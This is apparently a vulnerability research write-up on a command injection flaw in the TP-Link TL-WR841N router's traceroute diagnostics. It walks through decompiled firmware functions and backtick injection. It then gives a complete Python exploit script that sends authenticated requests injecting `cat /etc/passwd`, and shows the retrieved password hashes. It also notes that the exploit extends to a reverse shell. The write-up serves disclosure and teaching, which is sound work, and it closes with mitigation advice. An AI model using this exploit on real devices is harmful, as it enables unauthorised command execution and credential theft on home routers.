Command injection is a type of security vulnerability that allows an attacker to execute arbitrary commands on a host operating system through a vulnerable application. This typically occurs when an application improperly passes user-supplied input to a system shell or command-line interpreter without proper validation.
Early versions of the TL-WR841N router had a command injection vulnerability in the diagnostics webpage. This vulnerability allowed an authenticated attacker to execute system commands on the device. Firmware version TL-WR841N(EU)_V14_171208 was used for testing.
Identifying the Vulnerability
When we execute commands on the devices web interface, a debug log is created on the devices UART interface:
T#[ util_execSystem ] 139: oal_startTraceRoute cmd is "traceroute -m 20 -q 1 -w 5 8.8.8.8 64 &"
After extracting the firmware using SPI, it’s apparent a lot of the systems functionality is in /lib/cmm.so. Examining this file with Ghidra for the string mentioned in the debug log (oal_startTraceRoute) brings us to the following function where the user supplied input is being passed directly to the function
undefined4 oal_startTraceRoute(int param_1)
{
int iVar1;
size_t sVar2;
undefined4 uVar3;
char *pcVar4;
int iVar5;
int local_428;
undefined4 local_424;
undefined4 local_420;
undefined4 local_41c;
undefined4 local_418;
char acStack_414 [1028];
/* [BAD 1] memset */
memset(acStack_414,0,0x400);
local_424 = 0;
local_420 = 0;
local_41c = 0;
local_418 = 0;
local_428 = 0;
util_findSystemProc("traceroute",0,acStack_414,"traceroute",&local_428);
if (local_428 == 0) {
/* [BAD 1] memset */
memset(acStack_414,0,0x400);
iVar5 = param_1 + 0xf0;
if (*(char *)(param_1 + 0xf0) != '\0') {
iVar1 = oal_intf_getIfAddr(iVar5,&local_424);
if (iVar1 == 0) {
uVar3 = 0x55;
pcVar4 = "Get interface(%s)\'s IP failed!";
goto LAB_000ad79c;
}
}
/* [BAD 1] strlen */
sVar2 = strlen(acStack_414);
/* [BAD 1] snprintf */
snprintf(acStack_414 + sVar2,0x400 - sVar2,"traceroute -m %d -q %d -w %d %s %d &",
*(undefined4 *)(param_1 + 0x28),*(undefined4 *)(param_1 + 0x38),
*(undefined4 *)(param_1 + 0x34),param_1 + 0x100,*(undefined4 *)(param_1 + 0x30));
util_execSystem("oal_startTraceRoute",acStack_414);
uVar3 = 0;
Stepping into util_execSystem also indicates that user input is being directly supplied without filtering:
uint util_execSystem(uint param_1,char *param_2,undefined4 param_3,undefined4 param_4)
{
int iVar1;
uint uVar2;
undefined4 uVar3;
char *pcVar4;
undefined4 local_res8;
undefined4 local_resc;
char *__s;
uint local_22c;
char acStack_228 [516];
__s = acStack_228;
local_22c = 0;
local_res8 = param_3;
local_resc = param_4;
/* [BAD 1] memset */
memset(__s,0,0x200);
/* [BAD 1] vsnprintf */
iVar1 = vsnprintf(__s,0x1ff,param_2,&local_res8);
cdbg_printf(8,"util_execSystem",0x8b,"%s cmd is \"%s\"\n",param_1,__s);
if (0 < iVar1) {
iVar1 = 1;
do {
/* [BAD 0] system */
local_22c = system(acStack_228);
uVar2 = local_22c & 0x7f;
if ((int)local_22c < 0) {
if (local_22c == 0xffffffff) {
cdbg_printf(8,"util_execSystem",0x9b,"system fork failed.",param_1,__s);
}
else {
perror("util_execSystem call error:");
}
}
Exploiting the Vulnerability
We know from the debug log that the following command will be executed by the host.
"traceroute -m 20 -q 1 -w 5 <user_input> 64 &"
There are a number of characters that can be used to delimit commands on UNIX systems including;
- &
- &&
- |
- ||
- ;
In this instance, we will be using backticks “`”. Any command within the backticks will be executed before the rest of a command line. To inject our malicious command, we can use backticks following by double quotes.
"traceroute -m 20 -q 1 -w 5 "`cat /etc/passwd`" 64 &"
This will result in the following sequence of command being executed:
cat /etc/passwd
traceroute -m 20 -q 1 -w 5
64 &
Python can be used to automate exploiting the vulnerability. Three separate HTTP requests are required to trigger the condition.
import requests
import re
session = requests.session()
http_proxy = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"
proxies = {
"http" : http_proxy,
"https" : https_proxy,
}
command = '''`cat /etc/passwd`'''
req_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "text/plain", "Origin": "http://192.168.0.1", "Connection": "keep-alive", "Referer": "http://192.168.0.1/mainFrame.htm", "Priority": "u=0"}
req_cookies = {"Authorization": "Basic YWRtaW46YWRtaW4="}
req1_url = "http://192.168.0.1:80/cgi?2"
req1_data = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=30\r\ntimeout=50\r\nnumberOfTries=1\r\nhost=\"''' + command + '''\"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''
response = session.post(req1_url, headers=req_headers, proxies=proxies, cookies=req_cookies, data=req1_data)
req2_url = "http://192.168.0.1/cgi?7"
req2_data = '''[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'''
response = session.post(req2_url, headers=req_headers, proxies=proxies, cookies=req_cookies, data=req2_data)
req3_url = "http://192.168.0.1:80/cgi?1"
req3_data = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response = session.post(req3_url, headers=req_headers, proxies=proxies, cookies=req_cookies, data=req3_data)
server_response = response.content.decode('utf-8')
result = re.search(r'X_TP_Result=(.*)\[error', server_response,re.DOTALL)
print(result.group(1))
Running the exploit, we can see the contents of /etc/passwd are retrieved.
python wr841n_command_injection.py
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh
dropbear:x:500:500:dropbear:/var/dropbear:/bin/sh
nobody:*:0:0:nobody:/:/binewan_ipoe_d
The exploit could be modified to execute any arbitrary system commands, such as generating a reverse shell.
In Conclusion
The safest way to prevent shell command injection is to never call operating systems command from higher level languages. If that functionality is required, input should be sanitized on a whitelist basis.